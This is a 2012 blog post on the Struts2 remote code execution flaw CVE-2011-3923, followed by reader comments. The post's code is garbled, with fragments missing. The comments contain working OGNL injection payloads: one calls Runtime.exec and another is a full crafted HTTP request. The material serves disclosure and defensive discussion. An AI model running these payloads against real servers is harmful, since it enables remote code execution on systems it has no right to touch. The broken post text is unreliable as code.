Sunday, January 22, 2012

CVE-2011-3923: Yet another Struts2 Remote Code Execution


Expression Evaluation
So one of the OGNL's many features is expression evaluation:



Let's imagine we have an Action with a String parameter:

public class HelloWorldAction extends ActionSupport {
  private String foo;

  public void setFoo(String foo) { = foo;

  public String getFoo() {
    return foo;

  public String execute() throws Exception {
    return SUCCESS;





and here's what happens:

Sample exploit will look as follows:





Fixing CVE-2011-3923

Please follow recommendations outlined in S2-009 and upgrade to



  1. nice work again :)

  2. Hello

    in short:
    In our opinion, the fix from Maurizio Cucchiara is sufficient for the default-Stack, but i.e. custom interceptors can easily (and accidentally) circumvent the fix and leaving the application vulnerable.

    The problem:
    we have tested the fix in struts2- which was done by Maurizio Cucchiara with our application.
    Surprisingly it is not working in our setup. The reason is, that the changes made at ParametersInterceptor, OgnlValueStack, OgnlUtil and so on do not prevent the dangerous parameter value to be written into the ValueStack (OgnlValueStack).
    If the application reads the ValueStack with valueStack.findValue(aKey), the parameter value is evaluated by OGNL and the code becomes executed!

    For instance: When an interceptor (or other application code) is simply reading the ValueStack like for debugging purposes, then an attack will succeed!
    Here a code snippet from our custom interceptor

    public String intercept (ActionInvocation invocation)
    throws Exception
    ActionContext ac = invocation.getInvocationContext();
    ValueStack valueStack = ac.getValueStack();
    Map parameters = ac.getParameters();
    Iterator> it = parameters.entrySet().iterator();
    Entry entry = null;
    String value = null;

    for (; it.hasNext();)
    entry =;
    value = (String) valueStack.findValue(entry.getKey()); // <== OGNL-Expression becomes evaluated!
    if (logDebug)
    logger.debug("ValueStack [key / value]: [" + entry.getKey() + " / " + value + "]");

    The value from the OGNLValueStack in a attack scenario like the above mentioned would look like this:
    ValueStack [key / value]: [myParameter / (#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('notepad'))(meh)]
    (Here the Windows Notepad Application gets startet)

    In OgnlUtil.setValue(String name, Map context, Object root, Object value, boolean evalName) the parameterName name is checked to be a value expression (isEvalExpression(...)).
    Why not also check the parameter value and throw the OgnlException in that case?

    We would appreciate any suggestions to solve the problem.
    Of course the best would be an other improvement of the struts2-ognl-integration :)

    Thanks in advance
    Marcus Zander, Germany

  3. Marcus,

    unfortunately if you are customizing this, then you are on your own. I presume Struts team could provide OgnlUtil.getValue/findValue that would forbid expression evaluation similar to the way it's done in setValue()

    1. Thanks Meder for your reply!

      I think it is not uncommon to use custom interceptors (thats why the interceptor stack is configurable).
      Besides, the Struts2 StrutsVariableResolver (JSF2-Plugin) also uses valueStack.findValue and might be vulnerable, too.

      Until the Struts team finds a save solution, I suggest application developers to put a custom interceptor into the interceptor stack (somewhere at the beginning), which clears the ActionContext.getParameters()-Map of keys and/or values which are containing OGNL-ValueExpressions.
      To recognize these cases you can use/copy the methods OgnlUtil.isEvalExpression(...) and ParametersInterceptor.acceptableName(...)

      kind regards,
      Marcus Zander, Germany

  4. Hi, thanks for your excellent work.

    But I have some questions with regard to OGNL:
    1, why does meh exist? what does stand for? as in "(meh)&z[(foo)('meh')]=true"
    2, an you mentioned, to ensure that foo attribute is set first, "the z[(foo)('meh')]=true trick" is used. would you please explain why the trick work and the behind mechanism in OGNL?


  5. with the following HTTP package,

    GET /validation/submitFieldValidatorsExamples.action;jsessionid=FB3FB6BA54CA2C642A2464F9694F9571?requiredValidatorField=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%23req%3D%40org.apache.struts2.ServletActionContext@getRequest(),%23rep%3D%40org.apache.struts2.ServletActionContext@getResponse(),%23webStr%3Dnew%20byte[51020],%23rep.getWriter().println(new%20java.lang.StringBuilder(%22kmneviqrgo%22).append(%22~~not_exist_in_html~~%22).append(%23req.getRealPath(%22%2F%22)).append(%22~3.1415621~%22).toString()))%28thjp%29&z[%28requiredValidatorField%29%28%27thjp%27%29]=true HTTP/1.1

    it worked well with Struts2.3.1.1, but failed with Struts2.0.6.

    Would you please give me some point about the reason why it failed?

    thanks a lot!